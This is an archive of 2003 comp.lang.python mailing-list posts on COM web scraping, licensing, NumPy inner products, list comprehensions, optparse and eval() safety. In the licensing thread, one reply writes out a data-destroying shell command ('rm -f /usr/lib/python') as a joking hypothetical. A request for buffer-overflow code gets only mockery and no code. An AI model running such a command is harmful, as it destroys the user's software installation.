Thanks for all the responses!

I've gone the COM route for the first phase of this project, but it will
investigate the *urllib* option for the long term.

The *basic* code I ended up with is:

import win32com.client

# This is the main loop   -
# Issues: (1) Only runs in PythonWin
#            (2) Fails if ASCII code > 128 are present in the string

f_out = open("G:\\temp\Projects\slurpHtml\slurp.txt", "w")
x=win32com.client.Dispatch('InternetExplorer.Application.1')
x.Visible=1
x.Navigate('http://www.google.com')

html = x.Document.documentElement.innerHtml
f_out.write(str(html))

f_out.flush()
f_out.close()

There are a few wrinkles I need to work out, but at least I know now I'm
headed in the right direction...

-Tony

"Tony Dunn" <tdunn at lynxxsolutions.com> wrote in message
news:J3BY9.2087$Ec.128 at nwrddc02.gnilink.net...
> I've started a new project where I need to slurp web pages from a site
that
> use cookies to authenticate access.  I've used *urllib* in the past to
grab
> *public* web pages, but I'm not sure the best way to go about dealing with
> the cookie issue.
>
> I found some code to drive IE via COM, but I can't find a method to save
the
> current web page to a file so I can *slurp* it later.  I've wandered
through
> the file generated by makepy.py for the *Internet Control* COM object, but
I
> don't see what I'm looking for.  I know I can grab the files from the
local
> *Internet* cache, but I'd like the option to specify a file location and
> file name for each page downloaded.
>
> Has anyone done this with IE?
>
> -Tony
>
>





From peter at engcorp.com  Fri Jan  3 09:18:41 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 09:18:41 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com> <3e14a219$1_1@goliath.newsgroups.com> <av2uq4$6bv$1@news.hananet.net>
Message-ID: <3E159BC1.194BBD93@engcorp.com>

Changjune Kim wrote:
> 
> As others have recommended, you don't want to test everything within a real
> db -- it's too expensive.
> 
> If you are doing acceptance testing or something, consider using
> "golden/silver/bronze db method." Golden DB is the product db, and Silver
> DB is for the integration, and Bronze DB is for individual, uh pair,
> developers, which is on every development machine. Manage the three dbs
> separately.

This reminds me of a past thread or series of threads in either the
extremeprogramming or the testdrivendevelopment mailing lists on
http://groups.yahoo.com.   Look them up, and you will gain many ideas of
how to approach database programming from the testing point of view.
Some of the folks there invented this stuff... and are happy to share
their ideas.

-Peter



From LogiplexSoftware at earthlink.net  Mon Jan 20 20:31:27 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 17:31:27 -0800
Subject: license
In-Reply-To: <005e01c2c0df$b6ef47d0$63a09840@Arts>
References: <005e01c2c0df$b6ef47d0$63a09840@Arts>
Message-ID: <1043112686.32069.387.camel@software1.logiplex.internal>


On Mon, 2003-01-20 at 15:57, Arthur wrote:
> >I'd agree with you that such a modification is annoying and rude.  I
> >think Terry is taking the side of "you're using someone's code for free,
> >and then complaining about it" which also has some validity.
> 
> As is the code I provide.
> 
> But a little twist here is that the distributor is not the developer. He
> sought of  "controls"  it.  He did not write it. In fairness, he does
> support a user group - and is responsive to that user group.  It his not his
> code, though.
> 
> I actually wrote my code.  Not only is free and opensource. But it was done
> on my own time, time stolen from my family and my *real* work.
> 
> I'm the good guy, here.  Of course.

I would never suggest otherwise =)

> People seem to be watching a different movie than me, much of the time.

I just watched "Lilo and Stitch".  Cute, but I wonder where Disney stole
the idea from.  What were you watching?

> > I'm not sure what the package in question is, but I have to ask: does it
> make
> >sense for it to do this?  If the package were, for instance, a modified
> >version of Python itself, or if it modified the behavior of Python in a
> >fundamental way, then perhaps replacing the top-level documentation
> >might make sense.
> 
> Ipso facto, it cannot make sense to overwrite a file that is part of the
> standard Python distribution, unless one works real heard first to tell me
> that is what is going to happen when I push the install button.  The "ipso
> facto" part is to scare you into thinking I might be a lawyer.

Whew, you had me going for a second... Anyway, to clarify, I was
thinking along the lines of Stackless (at least as it used to be) in the
sense that, by installing it, you no longer had a standard Python
install, so after replacing your Python interpreter, messing a bit with
the documentation seemed like a given.

> Anything is sensible, with notice attached, in a separate distribution - as
> the damn license implies.
> 
> I am thoroughly confused.  The Python license says that if you are modifying
> it, you notify users of the modifications.  In essensce, that is the only
> restriction.  Under your hypopthetical, in my mind, there is either
> notification, or there is a license breach.  It seems to disturb people that
> I am suggesting that it is possible to breach the Python license, and
> possible to believe that the license is quite serious about what it says.

Well, I suspect that the Python license is referring to distributing
Python itself, that is, if I provide you with a modified Python distro,
then I would be required to notify you of those modifications.  I don't
think it covers what other programs do to that distro *after* you've
installed it.  For instance, installing a module that did "rm -f
/usr/lib/python" might be grounds for homicide, but would not be a
license violation.

> The case I bring up, if it is a breach at all is a relatively minor one- and
> I am not claiming to be the lawyer to say it is, and a lawyer - or someone
> more informed than I, can tell me it clearly isn't. But its ugly. Nobody can
> convince me otherwise.  And I was simply wondering out loud whether it
> might, in addition, be a technical breach.

It certainly is ugly, and I agree with Bengt's assessment earlier.  The
person responsible should perhaps be drawn and quartered (would that put
his project in the public domain?), but I still doubt if it's a license
violation, any more than a Windows virus replacing command.com violates
M$'s EULA (unless the virus was written using gcc, in which case it
would most likely violate something in their recent EULA's about using
GPL'd software).

> More importantly, God knows I didn't write Python and I am certainly not the
> one to decide whether a breach that in fact does exist will be pursued in
> any way.

It isn't just God who knows.  I suspect others know as well.

> This guy got a damn grant, and I am asking nothing from him other than to be
> sensible and sensitive to other peoples needs surrounding the code he didn't
> write.  I am not asking to comply to *my* standards.  I am asking him to
> comply to *community* standards.

This is the catch-22 of these sorts of situations.  You want to use
something, but disagree with the methods of the owners of that thing. 
Really, the only answer is to not use that thing or create your own
equivalent.  This holds true for other things besides software.  It's a
lose-lose situation but if a compromise can't be reached, there's really
no other recourse.

BTW, you still haven't mentioned the package.  Tell me THE PACKAGE!!! ;)


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From kern at taliesen.caltech.edu  Wed Jan 22 19:38:02 2003
From: kern at taliesen.caltech.edu (Robert Kern)
Date: Thu, 23 Jan 2003 00:38:02 +0000 (UTC)
Subject: Real inner-product in python
References: <3E2A4C06.7030202@visionsense.com>
    <200301220346.TAA06834@mail.arc.nasa.gov>
    <mailman.1043229043.27058.python-list@python.org>
Message-ID: <b0ndha$kot$1@naig.caltech.edu>

In article <mailman.1043229043.27058.python-list at python.org>,
	Nadav Horesh <NadavH at VisionSense.com> writes:
> Whats about:
> 
> >>> c = N.reshape(N.arange(12), (3,2,2))
> >>> b = N.arange(3)
> >>> N.dot(b,c)
> Traceback (most recent call last):
>   File "<pyshell#18>", line 1, in ?
>     N.dot(b,c)
>   File "/usr/local/lib/python2.3/site-packages/Numeric/Numeric.py", line 
> 335, in dot
>     return multiarray.matrixproduct(a, b)
> ValueError: matrices are not aligned

[snip]

> As I see inner product between two tensors --- A of rank $n$ and B of 
> rank $m$ it should be like
> (in TeX style):
> $$
>   C = A \cdot B
> $$
> requires:
> 
> 1.  The last dimension of A must be equal to the first dimension of B, 
> and ...
> 2.
> $$
>   C_{p_1, ... p_{m-1},q_2, ... q_n} = \sum_{i=1}^{q_1} A_{p_1, ... 
> p_{m-1},i} B_{i, q_2, ... q_{n}}
> $$
> 
> Thus, I don't see the *dot* function as a proper inner product.

You are correct. Here is dot's docstring:

"""dot(a,b) returns matrix-multiplication between a and b.  The product-sum
   is over the last dimension of a and the second-to-last dimension of b.
"""

Here is my implementation of a tensor-style inner product:

def _myDot(a, b):
    """Returns the inner product.

    a_i...k * b_k...m = c_i...m     in summation notation with the ...'s 
                                    representing arbitrary, omitted indices

    The sum is over the last axis of the first argument and the first axis 
    of the last axis.

    _myDot(a, b) --> NumPy array
    """

    a = Numeric.asarray(a)
    b = Numeric.asarray(b)

    tempAxes = tuple(range(1, len(b.shape)) + [0])
    newB = Numeric.transpose(b, tempAxes)

    # innerproduct sums over the *last* axes of *both* arguments
    return Numeric.innerproduct(a, newB)

>   Nadav

-- 
Robert Kern
Ruddock House President
kern at caltech.edu

"In the fields of hell where the grass grows high
 Are the graves of dreams allowed to die."
  -- Richard Harter



From andy at eastonwest.co.uk  Mon Jan  6 13:39:58 2003
From: andy at eastonwest.co.uk (andy)
Date: Mon, 6 Jan 2003 18:39:58 +0000
Subject: Opinions, please: Repository module
In-Reply-To: <1041817358.1368.1470.camel@software1.logiplex.internal>
References: <mailman.1041806169.632.python-list@python.org> <200301060017.19510.andy@eastonwest.co.uk> <1041817358.1368.1470.camel@software1.logiplex.internal>
Message-ID: <200301061839.58084.andy@eastonwest.co.uk>

Thanks, cliff, I will take a look at pyro.  

As I said at the end of my original post:
"I just /bet/ someone is going to tell me now that there's already something 
out there which does exactly this :-(
"

Pyro is something I hadn't trawled up.  Depends on your search strings, I 
suppose!

I'm still glad I did what I did (and will probably still use/develop it, cos 
I'm a stubborn ass ;-) )

Thanks.

Regards, andyj




From cnetzer at mail.arc.nasa.gov  Fri Jan 17 15:23:20 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Fri, 17 Jan 2003 12:23:20 -0800
Subject: Finding the calling method (or caller)
In-Reply-To: <b09isq$h6b$1@panix2.panix.com>
References: <df392399.0301141226.1554a055@posting.google.com> <mailman.1042767154.29348.python-list@python.org> <b09isq$h6b$1@panix2.panix.com>
Message-ID: <200301172023.MAA29672@mail.arc.nasa.gov>

On Friday 17 January 2003 10:43, Aahz wrote:
> In article <mailman.1042767154.29348.python-list at python.org>,
>
> Chad Netzer  <cnetzer at mail.arc.nasa.gov> wrote:
> >On Thursday 16 January 2003 16:56, Aahz wrote:
> >> Why do you want to know this?  There's likely to be a better way
> >> than using sys._getframe().
> >
> >I use introspection techniques like this to enforce calling through
> > the "public" api, and not the private.
>
> Why not just use methods with leading underscores?

True; that is the kind of name mangling I refered obliquely to.  I 
prefer my method, just because it seems to fit my style of design well 
(build an internal API as one goes along, refactor it a lot, then 
expose it when it is reasonable).  The call chanin enforcement was 
easier to code than all the potential renaming, I guess.

Actually, now that I've discovered Bicycle Repair Man, that kind of 
thing is easier to do (method renames, class renames, etc.)

I mainly mentioned it becuase the technique does have some merit, 
depending on one's design style.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From sholden at holdenweb.com  Thu Jan 16 10:56:39 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 16 Jan 2003 15:56:39 GMT
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com>
Message-ID: <XCAV9.5784$YI5.499@news2.central.cox.net>

"donoli" <eat at joes.com> wrote in message
news:splb2vkt2lqspqjea5566dldil2t5s3v7m at 4ax.com...
> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> security on both of them against a buffer overflow.  If someone has
> the code in python for a buffer overflow, please post it.
> donoli.

I've seen better social engineering in kindergarten classrooms.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From tim.one at comcast.net  Sun Jan  5 13:45:08 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 05 Jan 2003 13:45:08 -0500
Subject: Leakage vs Cyclops
In-Reply-To: <qWRLCEBqrCG+Ew0u@jessikat.fsnet.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEECDGAB.tim.one@comcast.net>

Note that in the 2.3a1 source distribution, the file

    Misc/SpecialBuilds.txt

documents the special Python builds you can make to get more info about
references and objects.  There are several.  All except the PYMALLOC_DEBUG
build are also doable in 2.2.2, and some have been available since 0.9.9.

I don't expect it would really help to get a total count of live objects in
the release build:  if that keeps going up, you have a leak, but your memory
use will keep going up too then, so it wouldn't tell you much you didn't
already know ("I have a leak").  In that case, the COUNT_ALLOCS build is
much more helpful:  it keeps track of how many of each type of object is
alive, a measure of throughput for each type of object, and the allocation
highwater mark for each type of object.  It adds a function sys.getcounts()
to let you get at that info too.  COUNT_ALLOCS is relatively lightweight
(compared to a debug build), but still more expensive than you'd like for
production mode, and has the side effect of making new-style class objects
immortal.





From dale at riverhall.NOTHANKS.co.uk  Sat Jan 11 19:18:10 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Sun, 12 Jan 2003 00:18:10 +0000
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com> <tB1U9.2282$UB4.11237@news-server.bigpond.net.au>
Message-ID: <unc12vkce97kag59au9eomloaean52i46t@4ax.com>

"Neil Hodgson" <nhodgson at bigpond.net.au> wrote:

>   There is a global base style set in SciTEGlobal.properties called
>style.*. For any style, style number 32 is the default style and is used to
>calculate the width of a tab. Your problem is that you have style.*.32 and
>hence style.python.32 set to the default Verdana 10 pt and want to have all
>your text in the current monospace font, probably Courier New 10 pt. To set
>the default Python style:
>
>style.python.32=$(font.monospace)
>
>   For a more global change, in the SciTEGlobal.properties file set
>
>style.*.32=$(font.monospace)
>
>   The whole scheme is a hierarchy that tries to allow fonts to be easily
>changed globally but then be tweaked for particular styles.
>
>   Why 32? Its historical and maybe spelling '32' as '*' would be more
>sensible.
>
>   Neil
>

Ah. The top man.

That's got the little bugger. Now everything looks organised again.

Thanks very much.

While you're there, how easy is it to modify the key-bindings? I'm
rather used to the way PythonWin does a few things.


--
Dale Strickland-Clark
Riverhall Systems Ltd



From tjreedy at udel.edu  Sun Jan 26 23:13:29 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 26 Jan 2003 23:13:29 -0500
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org>
Message-ID: <A7WdnXDV-psLLqmjXTWcoA@comcast.com>

"Mongryong" <Mongryong at sympatico.ca> wrote in message
news:mailman.1043633328.27598.python-list at python.org...
> Why do people use type checking in Python?

Possibilities (not necessarily disjoint):
1. Habit carried over or based on experience with other languages.
2. Situation-specific need such as changing behavior depending on
type.
3. Application of belief in "look-before-you-leap" rather than
"try-it-and-see".
4. Being careful in life- or mission-critical application.

> Yes, I know its to "ensure" that parameters are valid but doesn't
that
> defeat the whole purpose of one of Python's main feature?
Polymorphism
> and code reuse.  Who cares if a parameter is not of type(X), as long
as
> it has the methods and member variables necessary.  If the parameter
is
> missing stuff, then an exception is thrown.
>
> The reason I'm asking is because I don't use type checking at all
but I
> ses a lot of other code use it.

There have also been past postings advising against it, especially by
Alex Martelli, citing just the reason you gave above.

>  So, is there a good reason I should be using it too?

Your decision.

Terry J. Reedy





From hat at se-46.wpa.wtb.tue.nl  Tue Jan 21 09:03:54 2003
From: hat at se-46.wpa.wtb.tue.nl (Albert Hofkamp)
Date: Tue, 21 Jan 2003 14:03:54 +0000 (UTC)
Subject: spawn() problem
References: <3e2846e0$1_1@dns.sd54.bc.ca>
Message-ID: <slrnb2qkqa.3ob.hat@se-46.wpa.wtb.tue.nl>

On Fri, 17 Jan 2003 11:04:50 -0700, bob <bvdpoel at kootenay.com> wrote:
> 
> I using a tkinter program to launch some console-type programs. Works 
> fine, almost.
> 
> I have a command something like:
> 
> 	PID = os.spawnlp(os.P_NOWAIT, myprog, myprog, f)
> 
> So, this now runs in the backgound. Fine.
> 
> I've got an 'abort' button which uses the PID to kill the spawned program:
> 
> 	os.kill(PlayPID, signal.SIGQUIT)
> 
> Again, no problem. Even if the program has already terminated.

Except when the program has terminated a long time ago, and in the mean
time the PID numbers have looped, and you happened to run a very important
other process that just happened to have the same PID assigned.

> But, there are some other clean up things I'd like to do only if the 
> program has not exited. So, what I need to do is to signal something 
> when the program terminates. And that part I can't figure out.

The newer Pythons have an atexit() like construct where you can perform
cleanup operations after the program ended, but before the OS cleans up.
That sounds like a hook where you can attach a function that kills the
playing process.

Otherwise, Tkinter quite likely drops out of the main loop call at the end
of your program. Rather than returning to the OS immediately, maybe you can
perform cleanup there.

Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.



From nagylzs at freemail.hu  Fri Jan 31 13:25:29 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Fri, 31 Jan 2003 19:25:29 +0100
Subject: pycrypto, PEM, DER extract keys
Message-ID: <3E3ABF99.4020306@freemail.hu>

I need to use RSA with keys given in DER and PEM formatted files.
I found the function google("openssl_get_privatekey") but it is only
for C and PHP programmers. Is there a way in Python and
PyCrypto to do this? Thanks in advance.

   Laci 1.0






From Scott.Daniels at Acm.Org  Tue Jan 21 17:06:14 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 21 Jan 2003 14:06:14 -0800
Subject: max() of a list of tuples
In-Reply-To: <3e2d27c6$1_1@news.uni-bielefeld.de>
References: <3e2d27c6$1_1@news.uni-bielefeld.de>
Message-ID: <3e2dc459$1@nntp0.pdx.net>

I know this isn't clever enough, but:

source = [(1,3,5), (8,16,2), (2,56,4)] # or whatever

best = source[0]
for element in source:
     if best[-1] < element[-1]:
         best = element
Leaving the answer in best.

or perhaps you'd prefer:

score = min([element[-1] for element in source])
for best in source:
     if score == best[-1]:
         break

or even:

if source:
     score = min([element[-1] for element in source])
     bestlist = [element[-1] for element in source
                 if score == element[-1]]
else:
     bestlist = []
# Which gives all elements with the highest score.



Variables named "i" always look like integers to me.
-Scott David Daniels
Scott.Daniels at Acm.Org




From andrew-pythonlist at puzzling.org  Fri Jan  3 05:51:39 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 3 Jan 2003 21:51:39 +1100
Subject: Socket Blocking problem
In-Reply-To: <av3n7b$h8m$1@sparta.btinternet.com>
References: <av3n7b$h8m$1@sparta.btinternet.com>
Message-ID: <20030103105139.GC21545@frobozz.local>

On Fri, Jan 03, 2003 at 10:04:28AM +0000, sree wrote:
> Hi guys
> 
> I am writing a small socket program in python. Here there are two progs. One
> sits on system A and accepts connections, does something with the data that
> came in. Othe sits on system B and sends commands to system A. Problem is I
> want to be able to read if system A is busy or free from system B. Hence I
> tried setblocking(0) but then it fails to start with error as below on
> system A.

[lengthy description of gory details skipped]

Non-blocking socket operations are tricky to get right, there's a few fair
nasty little cases that can bite you (which are real socket errors and which
are simply due to the socket being busy?).  I'd recommend using a library
like Twisted <http://twistedmatrix.com/> to make your life easier -- in
fact, Twisted does a lot more than just simply non-blocking I/O.  There's
also asyncore, but Twisted is alot simpler and more powerful... let me know
if you have any problems with it.

Regards,

-Andrew.





From max at alcyone.com  Sun Jan 26 23:07:30 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 26 Jan 2003 20:07:30 -0800
Subject: Why does int(5.0) returns 0
References: <mailman.1043625287.22336.python-list@python.org>
Message-ID: <3E34B082.C49CD1A9@alcyone.com>

Samir Patel wrote:

> Here is verbose output of program: print int(5.0)
> 
> It outputs 0

You should us verbose output, but not your input.  Are you really sure
that's what the program said?  If so, your Python installation is
seriously broken.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ This moment is mine / So I'm taking my time
\__/ Chante Moore
    Church / http://www.alcyone.com/pyos/church/
 A lambda calculus explorer in Python.



From jepler at unpythonic.net  Tue Jan 28 09:15:01 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 28 Jan 2003 08:15:01 -0600
Subject: How can I avoid running a python script multiple times?
In-Reply-To: <20030128110704.GA1257@pedos.es>
References: <20030128110704.GA1257@pedos.es>
Message-ID: <20030128141500.GM16079@unpythonic.net>

While not a complete solution to your problem, you can use os.kill(pid, 0)
to find out if a process exists.  On my system, there can be three
results:
    os.kill(pid, 0) -> None:  process exists, and you are process owner
                              or root
    os.kill(pid, 0) -> OSError, Operation not permitted:
                              process exists, you are not owner or root
    os.kill(pid, 0) -> OSError, No such process:
                              process does not exist

beware that if your program died long ago but left it's pidfile there's
no guarantee that another process has been given the same pid.  In fact,
a malicious user could find out the pid, then wait for it to die for
some reason, and quickly fork() enough times to get a process with that
pid.  Then you will believe that your program is still running, even
though it has stopped.

Nevertheless, this is the model used by many "one instance" unix
programs.

Other approaches include:

* Have init spawn the process from inittab.  init will re-spawn the
  process when it dies, but will never start two concurrent programs
  from the same inittab line

* If the process uses some resource that requires exclusive access
  by its nature (for instance, bind()ing a well-known port number)
  then a second instance will fail to run anyhow

* Unix pipes and X properties offer two more ways to determine if a
  program is running, and may additionally let you transmit commands
  to the existing instance of the program if it is invoked again.  The
  links text-mode browser uses unix pipes for this purpose, and Mozilla
  uses (I believe) X properties.

  I tried but failed to work out how to let only one opener of a unix
  pipe succeed.  The X property approach may be prone to race
  conditions, I don't know enough about that to say.

Jeff




From sholden at holdenweb.com  Sun Jan 26 22:01:15 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Mon, 27 Jan 2003 03:01:15 GMT
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <3e347eec$0$240$626a54ce@news.free.fr>
Message-ID: <%h1Z9.25194$Vh.8501@news2.central.cox.net>

"Fael" <nospam at free.fr> wrote in message
news:3e347eec$0$240$626a54ce at news.free.fr...
> Perhaps a stupid answer !
> Even if it's for unix purpose I code on a PC and use Ultraedit. I test on
PC
> easily using the standard DOS compiler as a tool in the editor. When I
> approche the solution and when the Unix and Pc worlds make the difference
I
> use the FTP command to directly edit my unix sys based files on PC. I've
> been a unix vi addicts ten years ago then go to PC platforms and search
for
> vi port still addict. But now most of my work is done on PC (here unix
fans
> put shame on me!) and I'm an UE addict, this tools is perfect !
>
Fael:

Take a look at www.cygwin.com - I was very pleasantly surprised about how
Unix-like Windows 2000 becomes with Cygwin. I even run an X Window server on
my laptop, that lets me use graphical tools on the Unix systems in my
basement.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From mlh at furu.idi.ntnu.no  Wed Jan 22 21:33:06 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 02:33:06 +0000 (UTC)
Subject: Interleaved commands and options with optparse?
Message-ID: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>

I really love Optik/optparse -- it's a dream to use compared to
getopt, IMO. Hooray!

Now... I'd like to interleave "commands" (i.e. simple arguments) with
my options, as in, e.g., cvs (or distutils, for that matter). For
example:

  python myscript.py --globaloption command --commandoption

I'd like the semantics of the options to depend on where they are
placed, e.g. before or after a command etc. (I might have global and
command-specific switches with the same single-letter abbreviation but
with different meanings -- as in cvs.)

Perhaps this sort of thing goes against the "tao of options" (although
I can't see exactly how/why)? Or perhaps it is possible, and I just
haven't found the right bit of documentation?

-- 
Magnus Lie Hetland
http://hetland.org



From urfaust at optushome.com.au  Sat Jan  4 11:46:03 2003
From: urfaust at optushome.com.au (faust)
Date: Sat, 04 Jan 2003 08:46:03 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <av4hmu$ir6$1@ins22.netins.net>
Message-ID: <8t3e1vok48v8nlnmu7p5vbfhh4jifntlf6@4ax.com>

 Mike Dean <klaatu at evertek.net> ,  emitted these fragments:

>  I've since dropped any ideas of learning
>Emacs completely, as, within 6 months of learning Vim, I was able to
>fluently work with multiple bufferes and windows, multiple cut and paste
>registers, and was writing my own scripts.

If it took you 6 months to just learn to do that in Vim.....

--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 20:17:48 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 17:17:48 -0800
Subject: Security/Safety question re: eval() and dicts
References: <mailman.1043539247.26956.python-list@python.org>
Message-ID: <7xadhoaev7.fsf@ruckus.brouhaha.com>

andy <andy at eastonwest.co.uk> writes:
> Currently, this is decoded by using 
> 
>     dict=eval(request) 

Don't do that.  Just send a bunch of name-value pairs instead.  For
that matter, are already several modules included Python that do 
things like that.  XMLRPC might be a good choice.





From maney at pobox.com  Fri Jan  3 21:52:50 2003
From: maney at pobox.com (maney at pobox.com)
Date: Sat, 4 Jan 2003 02:52:50 +0000 (UTC)
Subject: php vs python
References: <3e15ed2c$0$214$edfadb0f@dread12.news.tele.dk>
Message-ID: <av5ia2$q7n$1@wheel2.two14.net>

Joe <soulchaos at hotmail.com> wrote:
> I have been programming php for some years now and just recently heard about
> python used for web programming.
> 
> What can Phyton do for me that php cant't?

If you find that you're writing one <script language="php">, a mess of
code, and finally </script> at the end, and wishing for a more
expressive language for what has become a CGI with small tufts of
static text hiding in its print statements, then Python has a lot to
offer.  If you're perfectly happy with PHP and your applications all
fit its intended style - generally small snippets of script embedded in
what is, mostly, a ststic web page - then there would seem to be little
reason to expect any advantage.  In between those points, well, I don't
have a simple answer on tap.

Me, I fell into that first category.  Last summer I rewrote the web app
in Python.  Now my main problem is that it's still a stolen-time
project, and there's been little time in the labs this fall that even a
time thief with a crowbar could pry loose.  :-/



From dave at pythonapocrypha.com  Thu Jan 16 12:39:02 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 16 Jan 2003 09:39:02 -0800 (PST)
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <200301160736.18786.shalehperry@attbi.com>
References: <1042670767.3e25e4afa12e5@www.progoth.com>
 <mailman.1042672181.22990.python-list@python.org>
 <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com>
Message-ID: <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com>

On Thu, 16 Jan 2003, Sean 'Shaleh' Perry wrote:

> On Thursday 16 January 2003 07:24, A. Lloyd Flanagan wrote:
> > Jack Diederich <jack at performancedrivers.com> wrote in message
> > news:<mailman.1042672181.22990.python-list at python.org>...
> >
> > > using a list comprehension or zip().  Comprehensions always
> > > hurt readability (ALWAYS), and we don't need the speedup
> > > here so we do it explicitly.
> >
> > Personally, I find list comprehensions to be both very readable and
> > compact.  Maybe it's a matter of how familiar you are with them.
[snip example]

> > after all, a list comprehension is less general than a for-loop, so
> > you know more about what it does before you read it.
>
> comprehensions are hard on the reader until they start using them.  I am in
> the archives of this and -tutor stating my disklike for them for this reason.
> Now that I routinely use them in my own code I do like them but there is a
> significant penalty to the new Pythoner.

But why single out comprehensions? Isn't this true for _any_ feature/idiom
you're not used to? I find comprehensions to be very readable, so I use
them a lot, so I find them more readable, but IMO they were also pretty
readable from the get-go.

In the specific case of comprehensions, I always have to "slow down" when
reading code that instead one of the builtin functions (e.g. map, filter)
because to me they are far less clear. I know I'm comparing syntax to a
builtin, but given a sequence, S, the code:

[x for x in S if x > 5]

always makes far more sense to me than:

filter(lambda x: x>5, S)

for various reasons, including the fact "for x in S", "if x > 5", and
"[...stuff...]" all mean something to me already whereas filter(someArg1,
someArg2) does not, and lambda requires me to think more. :)

FWIW, I found simple list comprehensions to be one of the least taxing
Pythonisms to get used to - IMO the syntax maps very obviously to the
behavior.

Just my two cents,
-Dave




From shalehperry at attbi.com  Sat Jan 18 03:31:28 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Sat, 18 Jan 2003 00:31:28 -0800
Subject: problem with the if statement and elif
In-Reply-To: <20030118022516.11673.00000074@mb-ce.aol.com>
References: <20030118022516.11673.00000074@mb-ce.aol.com>
Message-ID: <200301180031.28235.shalehperry@attbi.com>

On Friday 17 January 2003 23:25, CIouded 0ne wrote:
> hey i have a question i look at the tutorials that come for download with
> the python interpreter and whatnot and i can never get the if and elif to
> work for? is there a trick to it even though i copy it straight from the
> tutorial? im assuming i even downloaded a bad file or im doing it wrong and
> the tutorial is wrong but i dont think  i downloaded a bad file because
> this happened to me on all versions of the python interpreter. so any words
> of advice to help me out would be appreciated thanx.

>>> if 1 == 2:
...   print "math is broken"
... elif 1 == 1:
...   print "math still works"
... else:
...   print "how did I get here?"
... 
math still works

that is straight from the interactive interpreter.

Perhaps you could share some code that does not work for you?




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 11:31:02 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 08:31:02 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com> <7xn0lqbkmh.fsf@ruckus.brouhaha.com> <3E31666F.8060605@v.loewis.de>
Message-ID: <7xy95azf09.fsf@ruckus.brouhaha.com>

"Martin v. L?wis" <martin at v.loewis.de> writes:

> > If there's a kill pending, the interpreter sends a signal to
> > the target thread.  That should unblock any blocked i/o.
> 
> Which signal specifically?

    [phr at localhost]$ kill -l

     1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
     5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
     9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
    13) SIGPIPE     14) SIGALRM     15) SIGTERM     17) SIGCHLD
    18) SIGCONT     19) SIGSTOP     20) SIGTSTP     21) SIGTTIN
    22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
    26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO
    30) SIGPWR      31) SIGSYS      32) SIGRTMIN    33) SIGRTMIN+1
    34) SIGRTMIN+2  35) SIGRTMIN+3  36) SIGRTMIN+4  37) SIGRTMIN+5
